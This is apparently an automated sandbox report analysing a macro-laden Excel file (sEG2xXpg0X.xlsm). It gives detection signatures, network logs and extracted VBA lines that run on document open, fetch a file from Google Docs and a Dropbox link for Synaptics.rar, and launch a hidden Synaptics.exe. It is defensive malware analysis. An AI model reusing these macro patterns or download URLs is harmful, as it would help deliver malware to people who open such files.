Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
sEG2xXpg0X.xlsm

Overview

General Information

Sample name:sEG2xXpg0X.xlsm
(renamed file extension from none to xlsm)
Original sample name:sEG2xXpg0X
Analysis ID:1584944
MD5:34bbce5a78b796394831e351416ef110
SHA1:1b11bb5f343bbe46b62eedfcbe1a213ac3e3a63c
SHA256:511a12eb2c0e76f2d4d6c6cfc6c9fd14c39cd4c7f28ec6a492f4cc9b5d43bffb
Infos:

Detection

Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Document contains VBA stomped code (only p-code) potentially bypassing AV detection
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with functions possibly related to ADO stream file operations
Document contains an embedded VBA with functions possibly related to HTTP operations
Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)
Machine Learning detection for sample
Office process queries suspicious COM object (likely to drop second stage)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Suricata IDS alerts with low severity for network traffic
Unable to load, office file is protected or invalid
Uses a known web browser user agent for HTTP communication

Classification

  • System is w10x64native
  • EXCEL.EXE (PID: 1908 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 14243BD2CC9F1814023132241A51E1C6)
  • EXCEL.EXE (PID: 7740 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\sEG2xXpg0X.xlsm" MD5: 14243BD2CC9F1814023132241A51E1C6)
  • cleanup
No configs have been found
No yara matches

System Summary

barindex
Source: Network ConnectionAuthor: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 142.250.191.206, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 1908, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49753
Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.11.20, DestinationIsIpv6: false, DestinationPort: 49753, EventID: 3, Image: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 1908, Protocol: tcp, SourceIp: 142.250.191.206, SourceIsIpv6: false, SourcePort: 443
Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE, ProcessId: 1908, TargetFilename: C:\Users\user\Desktop\~$sEG2xXpg0X.xlsm
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2025-01-06T20:01:42.528333+010020283713Unknown Traffic192.168.11.2049753142.250.191.206443TCP
2025-01-06T20:01:43.202717+010020283713Unknown Traffic192.168.11.2049754162.125.3.18443TCP
2025-01-06T20:01:43.767664+010020283713Unknown Traffic192.168.11.2049755162.125.3.18443TCP

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: sEG2xXpg0X.xlsmAvira: detected
Source: sEG2xXpg0X.xlsmReversingLabs: Detection: 79%
Source: sEG2xXpg0X.xlsmJoe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEDirectory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xmlJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEFile opened: C:\Program Files\Microsoft Office\root\vfs\System\MSVCR100.dllJump to behavior
Source: unknownHTTPS traffic detected: 142.250.191.206:443 -> 192.168.11.20:49753 version: TLS 1.2
Source: unknownHTTPS traffic detected: 162.125.3.18:443 -> 192.168.11.20:49754 version: TLS 1.2
Source: unknownHTTPS traffic detected: 162.125.3.18:443 -> 192.168.11.20:49755 version: TLS 1.2
Source: global trafficDNS query: name: docs.google.com
Source: global trafficDNS query: name: www.dropbox.com
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 192.168.11.20:49753 -> 142.250.191.206:443
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 142.250.191.206:443 -> 192.168.11.20:49753
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49754 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49754
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: global trafficTCP traffic: 162.125.3.18:443 -> 192.168.11.20:49755
Source: Joe Sandbox ViewIP Address: 162.125.3.18 162.125.3.18
Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49753 -> 142.250.191.206:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49754 -> 162.125.3.18:443
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49755 -> 162.125.3.18:443
Source: global trafficHTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: docs.google.com
Source: global trafficHTTP traffic detected: GET /s/zhp1b06imehwylq/Synaptics.rar?dl=1 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: www.dropbox.com
Source: global trafficHTTP traffic detected: GET /s/zhp1b06imehwylq/Synaptics.rar?dl=1 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: www.dropbox.com
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: docs.google.com
Source: global trafficHTTP traffic detected: GET /s/zhp1b06imehwylq/Synaptics.rar?dl=1 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: www.dropbox.com
Source: global trafficHTTP traffic detected: GET /s/zhp1b06imehwylq/Synaptics.rar?dl=1 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)Host: www.dropbox.com
Source: global trafficDNS traffic detected: DNS query: docs.google.com
Source: global trafficDNS traffic detected: DNS query: www.dropbox.com
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 06 Jan 2025 19:01:42 GMTStrict-Transport-Security: max-age=31536000Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-ISwP1mTIzFlIl8ot0N1GAg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Server: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Accept-Ranges: noneVary: Accept-EncodingConnection: closeTransfer-Encoding: chunked
Source: vbaProject.binString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: vbaProject.binString found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownHTTPS traffic detected: 142.250.191.206:443 -> 192.168.11.20:49753 version: TLS 1.2
Source: unknownHTTPS traffic detected: 162.125.3.18:443 -> 192.168.11.20:49754 version: TLS 1.2
Source: unknownHTTPS traffic detected: 162.125.3.18:443 -> 192.168.11.20:49755 version: TLS 1.2

System Summary

barindex
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: sEG2xXpg0X.xlsmStream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: sEG2xXpg0X.xlsmStream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: sEG2xXpg0X.xlsmStream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXECOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXECOM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}\InProcServer32Jump to behavior
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Private Sub Workbook_Open()
Source: sEG2xXpg0X.xlsmOLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: sEG2xXpg0X.xlsmOLE indicator, VBA macros: true
Source: ~DF05BFAF7F666A3188.TMP.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEWindow title found: microsoft excel okthe cell or chart you're trying to change is on a protected sheet. to make a change unprotect the sheet. you might be requested to enter a password.
Source: classification engineClassification label: mal84.expl.evad.winXLSM@2/3@2/2
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEFile created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xmlJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEFile created: C:\Users\user\Desktop\~$sEG2xXpg0X.xlsmJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{E936A00D-5421-4742-A418-226D2C1C7DAD} - OProcSessId.datJump to behavior
Source: sEG2xXpg0X.xlsmOLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: sEG2xXpg0X.xlsmReversingLabs: Detection: 79%
Source: unknownProcess created: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknownProcess created: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\sEG2xXpg0X.xlsm"
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CACAF262-9370-4615-A13B-9F5539DA4C0A}\InProcServer32Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEAutomated click: OK
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEAutomated click: OK
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp2.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/calcChain.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp9.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp3.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp4.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp5.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp6.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp7.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp8.xml
Source: sEG2xXpg0X.xlsmInitial sample: OLE zip file path = xl/ctrlProps/ctrlProp1.xml
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\CommonJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEDirectory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xmlJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEFile opened: C:\Program Files\Microsoft Office\root\vfs\System\MSVCR100.dllJump to behavior
Source: ~DF05BFAF7F666A3188.TMP.0.drInitial sample: OLE indicators vbamacros = False
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
